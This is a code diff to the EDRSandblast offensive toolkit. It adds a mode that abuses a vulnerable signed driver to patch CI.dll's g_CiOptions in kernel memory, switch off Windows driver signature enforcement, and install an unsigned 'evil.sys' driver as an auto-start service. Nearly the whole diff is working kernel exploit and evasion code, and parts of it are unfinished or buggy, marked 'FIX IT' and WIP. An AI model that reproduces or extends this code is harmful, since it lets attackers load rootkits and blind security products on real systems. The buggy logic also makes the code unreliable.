diff --git a/EDRSandblast/EDRSandBlast.h b/EDRSandblast/EDRSandBlast.h
index 8100d29..7e79bbe 100644
--- a/EDRSandblast/EDRSandBlast.h
+++ b/EDRSandblast/EDRSandBlast.h
@@ -8,6 +8,7 @@ typedef enum _START_MODE {
credguard,
audit,
firewall,
+ load,
none
} START_MODE;
diff --git a/EDRSandblast/EDRSandblast.vcxproj b/EDRSandblast/EDRSandblast.vcxproj
index 1393b6e..2fab87c 100644
--- a/EDRSandblast/EDRSandblast.vcxproj
+++ b/EDRSandblast/EDRSandblast.vcxproj
@@ -167,10 +167,12 @@
+
+
@@ -200,10 +202,12 @@
+
+
diff --git a/EDRSandblast/EDRSandblast.vcxproj.filters b/EDRSandblast/EDRSandblast.vcxproj.filters
index 1e05813..0f2bf37 100644
--- a/EDRSandblast/EDRSandblast.vcxproj.filters
+++ b/EDRSandblast/EDRSandblast.vcxproj.filters
@@ -117,9 +117,15 @@
Source Files
+
+ Source Files
+
Source Files
+
+ Source Files
+
@@ -233,6 +239,12 @@
Header Files
+
+ Header Files
+
+
+ Header Files
+
Header Files
diff --git a/EDRSandblast/Includes/CiOffsets.h b/EDRSandblast/Includes/CiOffsets.h
new file mode 100644
index 0000000..fed7fce
--- /dev/null
+++ b/EDRSandblast/Includes/CiOffsets.h
@@ -0,0 +1,37 @@
+/*
+
+--- Functions to bypass Digital Signature Enforcement by disabling DSE through patching of the g_CiOptions attributes in memory.
+--- Full source and credit to https://j00ru.vexillium.org/2010/06/insight-into-the-driver-signature-enforcement/
+--- Code adapted from: https://github.com/kkent030315/gdrv-loader/tree/1909_mitigation
+
+*/
+
+#pragma once
+
+#include
+
+
+enum CiOffsetType {
+ g_CiOptions = 0,
+ _SUPPORTED_CI_OFFSETS_END
+};
+
+union CiOffsets {
+ // structure version of Ci.dll's offsets
+ struct {
+ // Ci.dll's g_CiOptions
+ DWORD64 g_CiOptions;
+ } st;
+
+ // array version (usefull for code factoring)
+ DWORD64 ar[1];
+};
+
+union CiOffsets g_ciOffsets;
+
+// Return the offsets of CI!g_CiOptions for the specific Windows version in use.
+void LoadCiOffsetsFromFile(TCHAR* CiOffsetFilename);
+void SaveCiOffsetsToFile(TCHAR* CiOffsetFilename);
+void LoadCiOffsetsFromInternet(BOOL delete_pdb);
+LPTSTR GetCiVersion();
+LPTSTR GetCiPath();
\ No newline at end of file
diff --git a/EDRSandblast/Includes/DriverOps.h b/EDRSandblast/Includes/DriverOps.h
index f8a89b8..685ff80 100644
--- a/EDRSandblast/Includes/DriverOps.h
+++ b/EDRSandblast/Includes/DriverOps.h
@@ -23,3 +23,8 @@ BOOL InstallVulnerableDriver(TCHAR* driverPath);
BOOL UninstallVulnerableDriver(void);
BOOL IsDriverServiceRunning(LPTSTR driverPath, LPTSTR* serviceName);
+// evil driver install
+TCHAR* GetEvilDriverServiceName(void);
+void SetEvilDriverServiceName(_In_z_ TCHAR* newName);
+BOOL InstallEvilDriver(TCHAR* driverPath);
+BOOL UninstallEvilDriver(void);
\ No newline at end of file
diff --git a/EDRSandblast/Includes/KernelCallbacks.h b/EDRSandblast/Includes/KernelCallbacks.h
index 4bbebc1..eabeb52 100644
--- a/EDRSandblast/Includes/KernelCallbacks.h
+++ b/EDRSandblast/Includes/KernelCallbacks.h
@@ -94,3 +94,6 @@ void RemoveEDRImageNotifyCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL
BOOL EnumEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose);
void RemoveEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers);
+
+// Helps at locating some DLL in the kernel, for example CI.dll
+DWORD64 GetNotifyRoutineAddress(enum NtoskrnlOffsetType nrt);
diff --git a/EDRSandblast/Includes/KernelDSE.h b/EDRSandblast/Includes/KernelDSE.h
new file mode 100644
index 0000000..1f777c7
--- /dev/null
+++ b/EDRSandblast/Includes/KernelDSE.h
@@ -0,0 +1,11 @@
+#pragma once
+#pragma comment(lib, "ntdll.lib")
+#define DEFAULT_EVIL_DRIVER_FILE TEXT("evil.sys")
+
+#if !defined(PRINT_ERROR_AUTO)
+#define PRINT_ERROR_AUTO(func) _tprintf_or_not(TEXT("[!] ERROR ") TEXT(__FUNCTION__) TEXT(" ; ") func TEXT(" (0x%08x)\n"), GetLastError())
+#endif
+
+BOOLEAN IsCiEnabled();
+DWORD64 FindCIBaseAddress(BOOL verbose);
+BOOL patch_gCiOptions(PVOID CiVariableAddress, ULONG CiOptionsValue, PULONG OldCiOptionsValue);
diff --git a/EDRSandblast/Includes/KernelUtils.h b/EDRSandblast/Includes/KernelUtils.h
index 0c50a80..8dea929 100644
--- a/EDRSandblast/Includes/KernelUtils.h
+++ b/EDRSandblast/Includes/KernelUtils.h
@@ -5,3 +5,4 @@ DWORD64 FindNtoskrnlBaseAddress(void);
TCHAR* FindDriverName(DWORD64 address, _Out_opt_ PDWORD64 offset);
TCHAR* FindDriverPath(DWORD64 address);
DWORD64 GetKernelFunctionAddress(LPCSTR function);
+TCHAR* FindDriverName(DWORD64 address, _Out_opt_ PDWORD64 offset);
\ No newline at end of file
diff --git a/EDRSandblast/KernellandBypass/KernelCallbacks.c b/EDRSandblast/KernellandBypass/KernelCallbacks.c
index a751b58..2eb57ec 100644
--- a/EDRSandblast/KernellandBypass/KernelCallbacks.c
+++ b/EDRSandblast/KernellandBypass/KernelCallbacks.c
@@ -137,4 +137,4 @@ void RemoveEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrCallbacks) {
void RestoreEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrCallbacks) {
RemoveOrRestoreEDRNotifyRoutineCallbacks(edrCallbacks, FALSE);
-}
\ No newline at end of file
+}
diff --git a/EDRSandblast/KernellandBypass/KernelDSE.c b/EDRSandblast/KernellandBypass/KernelDSE.c
new file mode 100644
index 0000000..79430b6
--- /dev/null
+++ b/EDRSandblast/KernellandBypass/KernelDSE.c
@@ -0,0 +1,61 @@
+#include "windows.h"
+#include "KernelDSE.h"
+#include "../EDRSandblast.h"
+#include "winternl.h"
+#include "stdio.h" // for printf
+//#include "ntstatus.h"
+#include "KernelCallbacks.h"
+#include "NtoskrnlOffsets.h"
+#include "KernelMemoryPrimitives.h"
+#include "KernelUtils.h"
+#include "tchar.h"
+
+#define nullptr ((void*)0)
+
+ BOOLEAN IsCiEnabled()
+{
+ SYSTEM_CODEINTEGRITY_INFORMATION CiInfo = { sizeof(SYSTEM_CODEINTEGRITY_INFORMATION) };
+ const NTSTATUS Status = NtQuerySystemInformation(SystemCodeIntegrityInformation,
+ &CiInfo,
+ sizeof(CiInfo),
+ nullptr);
+ if (!NT_SUCCESS(Status))
+ printf("[-] Failed to query code integrity status: %08X\n", Status);
+
+ return (CiInfo.CodeIntegrityOptions &
+ (CODEINTEGRITY_OPTION_ENABLED | CODEINTEGRITY_OPTION_TESTSIGN)) == CODEINTEGRITY_OPTION_ENABLED;
+}
+
+ DWORD64 FindCIBaseAddress(BOOL verbose) {
+ DWORD64 NotifyRoutineAddress = GetNotifyRoutineAddress(CREATE_PROCESS_ROUTINE);
+ SIZE_T CurrentEDRCallbacksCount = 0;
+ DWORD64 CiBaseAddress = 0;
+ DWORD64 driverOffset = 0;
+ DWORD64 callback = 0;
+ DWORD64 cbFunction = 0;
+ TCHAR* driver = NULL;
+ DWORD64 callback_struct = 0;
+ for (int i = 0; i < PSP_MAX_CALLBACKS; ++i) {
+ DWORD64 callback_struct = ReadMemoryDWORD64(NotifyRoutineAddress + (i * sizeof(DWORD64)));
+ if (callback_struct != 0) {
+ callback = (callback_struct & ~0b1111) + 8; //TODO : replace this hardcoded offset ?
+ cbFunction = ReadMemoryDWORD64(callback);
+ driver = FindDriverName(cbFunction, &driverOffset);
+ if (_tcscmp(driver, L"CI.dll") == 0) {
+ CiBaseAddress = cbFunction - driverOffset;
+ if (verbose)
+ printf("[+] %s FOUND at %016llx - 0x%llx : 0x%llx\n", driver, cbFunction, driverOffset, CiBaseAddress);
+ return CiBaseAddress;
+ }
+ }
+ }
+ return CiBaseAddress;
+ }
+
+ BOOL patch_gCiOptions(PVOID CiVariableAddress, ULONG CiOptionsValue, PULONG OldCiOptionsValue) {
+ *OldCiOptionsValue = ReadMemoryDWORD64(CiVariableAddress);
+ //printf("[+KERNELDSE] The value of gCI at 0x%llx is 0x%x.\n", CiVariableAddress, *OldCiOptionsValue);
+ WriteMemoryDWORD64(CiVariableAddress, CiOptionsValue);
+ //printf("[+KERNELDSE] New value of gCI at 0x%llx is 0x%x.\n", CiVariableAddress, ReadMemoryDWORD64(CiVariableAddress));
+ return TRUE;
+ }
diff --git a/EDRSandblast/KernellandBypass/KernelUtils.c b/EDRSandblast/KernellandBypass/KernelUtils.c
index 02f537b..3c3c56c 100644
--- a/EDRSandblast/KernellandBypass/KernelUtils.c
+++ b/EDRSandblast/KernellandBypass/KernelUtils.c
@@ -105,4 +105,4 @@ DWORD64 GetKernelFunctionAddress(LPCSTR function) {
}
// _tprintf_or_not(TEXT("[+] %s address: 0x%I64x\n"), function, address);
return address;
-}
\ No newline at end of file
+}
diff --git a/EDRSandblast/Utils/CiOffsets.c b/EDRSandblast/Utils/CiOffsets.c
new file mode 100644
index 0000000..9b99727
--- /dev/null
+++ b/EDRSandblast/Utils/CiOffsets.c
@@ -0,0 +1,107 @@
+/*
+
+--- Functions to bypass Digital Signature Enforcement by disabling DSE through patching of the g_CiOptions attributes in memory.
+--- Full source and credit to https://j00ru.vexillium.org/2010/06/insight-into-the-driver-signature-enforcement/
+--- Code adapted from: https://github.com/kkent030315/gdrv-loader/tree/1909_mitigation
+
+*/
+
+#include
+#include
+
+#include "../EDRSandblast.h"
+#include "FileVersion.h"
+#include "PdbSymbols.h"
+
+#include "CiOffsets.h"
+
+union CiOffsets g_ciOffsets = { 0 };
+
+// Return the offsets of CI!g_CiOptions for the specific Windows version in use.
+void LoadCiOffsetsFromFile(TCHAR* ciOffsetFilename) {
+ LPTSTR ciVersion = GetCiVersion();
+ _tprintf_or_not(TEXT("[*] System's ci.dll file version is: %s\n"), ciVersion);
+
+ FILE* offsetFileStream = NULL;
+ _tfopen_s(&offsetFileStream, ciOffsetFilename, TEXT("r"));
+
+ if (offsetFileStream == NULL) {
+ _putts_or_not(TEXT("[!] Ci offsets CSV file not found / invalid. A valid offset file must be specifed!"));
+ return;
+ }
+
+ TCHAR lineCiVersion[256];
+ TCHAR line[2048];
+ while (_fgetts(line, _countof(line), offsetFileStream)) {
+ TCHAR* dupline = _tcsdup(line);
+ TCHAR* tmpBuffer = NULL;
+ _tcscpy_s(lineCiVersion, _countof(lineCiVersion), _tcstok_s(dupline, TEXT(","), &tmpBuffer));
+ if (_tcscmp(ciVersion, lineCiVersion) == 0) {
+ TCHAR* endptr;
+ _tprintf_or_not(TEXT("[+] Offsets are available for this version of ci.dll (%s)!"), ciVersion);
+ for (int i = 0; i < _SUPPORTED_CI_OFFSETS_END; i++) {
+ g_ciOffsets.ar[i] = _tcstoull(_tcstok_s(NULL, TEXT(","), &tmpBuffer), &endptr, 16);
+ }
+ break;
+ }
+ }
+ fclose(offsetFileStream);
+}
+
+void SaveCiOffsetsToFile(TCHAR* ciOffsetFilename) {
+ LPTSTR ciVersion = GetCiVersion();
+
+ FILE* offsetFileStream = NULL;
+ _tfopen_s(&offsetFileStream, ciOffsetFilename, TEXT("a"));
+
+ if (offsetFileStream == NULL) {
+ _putts_or_not(TEXT("[!] CI offsets CSV file cannot be opened"));
+ return;
+ }
+
+ _ftprintf(offsetFileStream, TEXT("%s"), ciVersion);
+ for (int i = 0; i < _SUPPORTED_CI_OFFSETS_END; i++) {
+ _ftprintf(offsetFileStream, TEXT(",%llx"), g_ciOffsets.ar[i]);
+ }
+ _fputts(TEXT(""), offsetFileStream);
+
+ fclose(offsetFileStream);
+}
+
+
+void LoadCiOffsetsFromInternet(BOOL delete_pdb) {
+ LPTSTR ciPath = GetCiPath();
+ symbol_ctx* sym_ctx = LoadSymbolsFromImageFile(ciPath);
+ if (sym_ctx == NULL) {
+ return;
+ }
+ g_ciOffsets.st.g_CiOptions = GetSymbolOffset(sym_ctx, "g_CiOptions");
+ UnloadSymbols(sym_ctx, delete_pdb);
+}
+
+TCHAR g_ciPath[MAX_PATH] = { 0 };
+LPTSTR GetCiPath() {
+ if (_tcslen(g_ciPath) == 0) {
+ // Retrieves the system folder (eg C:\Windows\System32).
+ TCHAR systemDirectory[MAX_PATH] = { 0 };
+ GetSystemDirectory(systemDirectory, _countof(systemDirectory));
+
+ // Compute ci.dll path.
+ _tcscat_s(g_ciPath, _countof(g_ciPath), systemDirectory);
+ _tcscat_s(g_ciPath, _countof(g_ciPath), TEXT("\\ci.dll"));
+ }
+ return g_ciPath;
+}
+
+TCHAR g_ciVersion[256] = { 0 };
+LPTSTR GetCiVersion() {
+ if (_tcslen(g_ciVersion) == 0) {
+ LPTSTR ciPath = GetCiPath();
+
+ TCHAR versionBuffer[256] = { 0 };
+ GetFileVersion(versionBuffer, _countof(versionBuffer), ciPath);
+
+ _stprintf_s(g_ciVersion, 256, TEXT("ci_%s.dll"), versionBuffer);
+ }
+ return g_ciVersion;
+}
diff --git a/EDRSandblast/Utils/DriverOps.c b/EDRSandblast/Utils/DriverOps.c
index 32fa2e8..815583e 100644
--- a/EDRSandblast/Utils/DriverOps.c
+++ b/EDRSandblast/Utils/DriverOps.c
@@ -115,3 +115,55 @@ BOOL IsDriverServiceRunning(LPTSTR driverPath, LPTSTR* serviceName) {
}
return isRunning;
}
+
+/*
+
+--- Evil driver install / uninstall functions.
+
+*/
+
+TCHAR* g_evilDriverServiceName;
+
+TCHAR* GetEvilDriverServiceName(void) {
+ if (!g_evilDriverServiceName || _tcslen(g_evilDriverServiceName) == 0) {
+ g_evilDriverServiceName = allocAndGenerateRandomString(SERVICE_NAME_LENGTH);
+ }
+ return g_evilDriverServiceName;
+}
+
+void SetEvilDriverServiceName(_In_z_ TCHAR* newName) {
+ if (g_evilDriverServiceName) {
+ free(g_evilDriverServiceName);
+ }
+ g_evilDriverServiceName = _tcsdup(newName);
+
+ if (!g_evilDriverServiceName) {
+ _putts_or_not(TEXT("[!] Error while attempting to set the service name."));
+ return;
+ }
+}
+
+BOOL InstallEvilDriver(TCHAR* driverPath) {
+ TCHAR* svcName = GetEvilDriverServiceName();
+
+ DWORD status = ServiceInstall(svcName, svcName, driverPath, SERVICE_KERNEL_DRIVER, SERVICE_AUTO_START, TRUE);
+
+ if (status == 0x00000005) {
+ _putts_or_not(TEXT("[!] 0x00000005 - Access Denied when attempting to install the driver - Did you run as administrator?"));
+ }
+ _tprintf_or_not(TEXT("[!] The evil service should be manually deleted when you are done with it : \ncmd /c sc stop %s\ncmd /c sc delete %s\n"), GetEvilDriverServiceName());
+
+ return status == 0x0;
+}
+
+BOOL UninstallEvilDriver(void) {
+ TCHAR* svcName = GetEvilDriverServiceName();
+
+ BOOL status = ServiceUninstall(svcName, 0);
+
+ if (!status) {
+ PRINT_ERROR_AUTO(TEXT("ServiceUninstall"));
+ }
+
+ return status;
+}
\ No newline at end of file
diff --git a/EDRSandblast_CLI/EDRSandblast.c b/EDRSandblast_CLI/EDRSandblast.c
index b990551..86400f1 100644
--- a/EDRSandblast_CLI/EDRSandblast.c
+++ b/EDRSandblast_CLI/EDRSandblast.c
@@ -27,6 +27,8 @@
#include "Undoc.h"
#include "UserlandHooks.h"
#include "WdigestOffsets.h"
+#include "CiOffsets.h"
+#include "KernelDSE.h"
#include "../EDRSandblast/EDRSandblast.h"
@@ -74,7 +76,11 @@ BOOL WasRestarted() {
int _tmain(int argc, TCHAR** argv) {
// Parse command line arguments and initialize variables to default values if needed.
- const TCHAR usage[] = TEXT("Usage: EDRSandblast.exe [-h | --help] [-v | --verbose] [--usermode [--unhook-method ] [--direct-syscalls]] [--kernelmode] [--dont-unload-driver] [--no-restore] [--driver ] [--service ] [--nt-offsets ] [--wdigest-offsets ] [--add-dll ]* [-o | --dump-output ]");
+ const TCHAR usage[] = TEXT("Usage: EDRSandblast.exe [-h | --help] [-v | --verbose] \n\
+[--usermode [--unhook-method ] [--direct-syscalls]] [--kernelmode] [--dont-unload-driver] [--no-restore] \n\
+[--driver ] [--service ] [--nt-offsets ] \n\
+[--wdigest-offsets ] [--add-dll ]* [-o | --dump-output ] \n\
+--internet");
const TCHAR extendedUsage[] = TEXT("\n\
-h | --help Show this help message and exit.\n\
-v | --verbose Enable a more verbose output.\n\
@@ -88,6 +94,7 @@ Actions mode:\n\
\tcredguard Patch the LSASS process' memory to enable Wdigest cleartext passwords caching even if\n\
\t Credential Guard is enabled on the host. No kernel-land actions required.\n\
\tfirewall Add Windows firewall rules to block network access for the EDR processes / services.\n\
+\tload Load the specified unsigned driver.\n\
\n\
--usermode Perform user-land operations (DLL unhooking).\n\
--kernelmode Perform kernel-land operations (Kernel callbacks removal and ETW TI disabling).\n\
@@ -119,6 +126,8 @@ Other options:\n\
\n\
--driver Path to the Micro-Star MSI Afterburner vulnerable driver file.\n\
Default to 'RTCore64.sys' in the current directory.\n\
+--unsigned-driver Path to the unsigned driver file.\n\
+ Default to 'evil.sys' in the current directory.\n\
--service Name of the vulnerable service to intall / start.\n\
\n\
--nt-offsets Path to the CSV file containing the required ntoskrnl.exe's offsets.\n\
@@ -153,9 +162,12 @@ Other options:\n\
START_MODE startMode = none;
TCHAR driverPath[MAX_PATH] = { 0 };
+ TCHAR unsignedDriverPath[MAX_PATH] = { 0 };
TCHAR driverDefaultName[] = DEFAULT_DRIVER_FILE;
+ TCHAR evilDriverDefaultName[] = DEFAULT_EVIL_DRIVER_FILE;
TCHAR ntoskrnlOffsetCSVPath[MAX_PATH] = { 0 };
TCHAR wdigestOffsetCSVPath[MAX_PATH] = { 0 };
+ TCHAR CiOffsetCSVPath[MAX_PATH] = { 0 };
TCHAR processName[] = TEXT("lsass.exe");
TCHAR outputPath[MAX_PATH] = { 0 };
BOOL verbose = FALSE;
@@ -191,6 +203,9 @@ Other options:\n\
else if (_tcsicmp(argv[i], TEXT("firewall")) == 0) {
startMode = firewall;
}
+ else if (_tcsicmp(argv[i], TEXT("load")) == 0) {
+ startMode = load;
+ }
else if (_tcsicmp(argv[i], TEXT("-h")) == 0 || _tcsicmp(argv[i], TEXT("--help")) == 0) {
_putts_or_not(usage);
_putts_or_not(extendedUsage);
@@ -219,6 +234,14 @@ Other options:\n\
}
_tcsncpy_s(driverPath, _countof(driverPath), argv[i], _tcslen(argv[i]));
}
+ else if (_tcsicmp(argv[i], TEXT("--unsigned-driver")) == 0) {
+ i++;
+ if (i > argc) {
+ _tprintf_or_not(TEXT("%s"), usage);
+ return EXIT_FAILURE;
+ }
+ _tcsncpy_s(unsignedDriverPath, _countof(unsignedDriverPath), argv[i], _tcslen(argv[i]));
+ }
else if (_tcsicmp(argv[i], TEXT("--service")) == 0) {
i++;
if (i > argc) {
@@ -320,7 +343,10 @@ Other options:\n\
if (startMode == dump && !kernelMode) {
_putts_or_not(TEXT("[!] LSASS dump might fail if RunAsPPL is enabled. Enable --kernelmode to bypass PPL\n"));
}
-
+ if (startMode == load && !kernelMode) {
+ _putts_or_not(TEXT("'load' mode needs kernel-land DSE disabling operation to work, please enable --kernelmode"));
+ return EXIT_FAILURE;
+ }
// TODO: set isSafeToExecutePayloadUserland by unhook to TRUE / FALSE if there are still hooks.
BOOL isSafeToExecutePayloadUserland = TRUE;
BOOL isSafeToExecutePayloadKernelland = TRUE;
@@ -631,6 +657,106 @@ Other options:\n\
FirewallPrintManualDeletion(&sFWEntries);
break;
}
+ // Load an unsigned kernel driver.
+ case load:
+ {
+ if (_tcslen(CiOffsetCSVPath) == 0) {
+ TCHAR CiOffsetCSVName[] = TEXT("\\CiOffsets.csv");
+ _tcsncat_s(CiOffsetCSVPath, _countof(CiOffsetCSVPath), currentFolderPath, _countof(currentFolderPath));
+ _tcsncat_s(CiOffsetCSVPath, _countof(CiOffsetCSVPath), CiOffsetCSVName, _countof(CiOffsetCSVName));
+ }
+
+ if (FileExists(CiOffsetCSVPath)) {
+ LoadCiOffsetsFromFile(CiOffsetCSVPath);
+ if (g_ciOffsets.st.g_CiOptions == 0x0) {
+ _putts_or_not(TEXT("[!] Offsets are missing from the CSV for the version of ci in use."));
+ }
+ else {
+ if (verbose) {
+ _tprintf_or_not(TEXT("[+] g_CiOptions offset found using %s file : 0x%llx\n"), CiOffsetCSVPath, g_ciOffsets.st.g_CiOptions);
+ }
+ }
+ }
+
+ if (internet && (g_ciOffsets.st.g_CiOptions == 0x0)) {
+ _putts_or_not(TEXT("[+] Downloading ci related offsets from the MS Symbol Server (will drop a .pdb file in current directory)"));
+#if _DEBUG
+ LoadCiOffsetsFromInternet(FALSE);
+#else
+ LoadCiOffsetsFromInternet(TRUE);
+#endif
+ if (g_ciOffsets.st.g_CiOptions == 0x0) {
+ _putts_or_not(TEXT("[-] Downloading offsets from the internet failed !"));
+
+ }
+ else {
+ _putts_or_not(TEXT("[+] Downloading offsets succeeded !"));
+ if (FileExists(CiOffsetCSVPath)) {
+ _putts_or_not(TEXT("[+] Saving them to the CSV file..."));
+ SaveCiOffsetsToFile(CiOffsetCSVPath);
+ }
+ }
+ if (verbose) {
+ _tprintf_or_not(TEXT("[+] g_CiOptions offset found using internet MS Symbol Server : 0x%llx\n"), g_ciOffsets.st.g_CiOptions);
+ }
+ }
+
+ if (g_ciOffsets.st.g_CiOptions == 0x0) {
+ _putts_or_not(TEXT("[!] The offsets must be computed using the provided script and added to the offsets CSV file (or use --internet). Unsigned driver won't be loaded ...\n"));
+ lpExitCode = EXIT_FAILURE;
+ }
+ else {
+ _putts_or_not(TEXT(""));
+ if (kernelMode) {
+ DWORD64 CiBaseAddress = 0;
+ DWORD64 g_CiOptionsAddress = 0;
+ if (IsCiEnabled() | !IsCiEnabled()) // FIX IT !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
+ {
+ CiBaseAddress = FindCIBaseAddress(verbose);
+ if (!CiBaseAddress) {
+ _putts_or_not(TEXT("[-] CI base address not found !\n"));
+ }
+ else{
+ g_CiOptionsAddress=CiBaseAddress + g_ciOffsets.st.g_CiOptions;
+ if (verbose)
+ _tprintf_or_not(TEXT("[+] CI.dll kernel base address found at 0x%llx. The g_CiOptions is at %llx !\n"), CiBaseAddress, g_CiOptionsAddress);
+ if (_tcslen(unsignedDriverPath) == 0) {
+ PathAppend(unsignedDriverPath, currentFolderPath);
+ PathAppend(unsignedDriverPath, evilDriverDefaultName);
+ }
+ if (!FileExists(unsignedDriverPath)) {
+ _tprintf_or_not(TEXT("[!] Required driver file not present at %s\nExiting...\n"), unsignedDriverPath);
+ return EXIT_FAILURE;
+ }
+ _putts_or_not(TEXT("[+] Using the vulnerable driver to disable CI...")); // debug print
+ ULONG CiOptionsValue=0;
+ PULONG OldCiOptionsValue;
+ patch_gCiOptions(g_CiOptionsAddress, CiOptionsValue, &OldCiOptionsValue);
+ LPTSTR evilServiceNameIfAny = NULL;
+ BOOL isEvilDriverAlreadyRunning = IsDriverServiceRunning(unsignedDriverPath, &evilServiceNameIfAny);
+ if (isEvilDriverAlreadyRunning) {
+ _putts_or_not(TEXT("[+] Evil driver is already running!\n"));
+ SetEvilDriverServiceName(evilServiceNameIfAny);
+ }
+ else {
+ _putts_or_not(TEXT("[+] Installing evil driver..."));
+ status = InstallEvilDriver(unsignedDriverPath);
+ if (status != TRUE)
+ _putts_or_not(TEXT("[!] An error occurred while installing the evil driver"));
+ }
+ _putts_or_not(TEXT("[+] Using the vulnerable driver to reset original CI status")); // debug print
+ patch_gCiOptions(g_CiOptionsAddress, *OldCiOptionsValue, &OldCiOptionsValue);
+ }
+ }
+ else {
+ // CI is already disabled, just load the driver
+ _putts_or_not(TEXT("[-] CI is already disabled!\n")); // debug print
+ }
+ }
+ }
+ // END WIP
+ break;
+ }
}
_putts_or_not(TEXT(""));
}
diff --git a/Offsets/CiOffsets.csv b/Offsets/CiOffsets.csv
index a717e54..46312d5 100644
--- a/Offsets/CiOffsets.csv
+++ b/Offsets/CiOffsets.csv
@@ -182,5 +182,5 @@ ci_22621-590.dll,41004
ci_22621-608.dll,41004
ci_22621-815.dll,41004
ci_22621-675.dll,41004
-ci_19041-2075.dll,3a438
-ci_19045-2364.dll,39418
+ci_19041-2075.dll,3a438
+ci_19041-2364.dll,39418
diff --git a/Offsets/NtoskrnlOffsets.csv b/Offsets/NtoskrnlOffsets.csv
index f3bd2e1..4e699eb 100644
--- a/Offsets/NtoskrnlOffsets.csv
+++ b/Offsets/NtoskrnlOffsets.csv
@@ -517,3 +517,4 @@ ntoskrnl_9600-19426.exe,2dbb10,2db910,2db710,67a,0,20,50,34e030,34e048,c8
ntoskrnl_9600-20144.exe,2dac50,2daa50,2da850,67a,0,20,50,34d030,34d048,c8
ntoskrnl_7601-17514.exe,ffffffffffffffff,ffffffffffffffff,ffffffffffffffff,0,0,8,38,16002c,160028,80
ntoskrnl_6003-21251.exe,1a9d00,1a9ae0,1a9a80,0,0,10,50,22c020,22c040,228
+ntoskrnl_19041-2364.exe,cec460,cec260,cec060,87a,c197d8,20,60,cfc410,cfc440,c8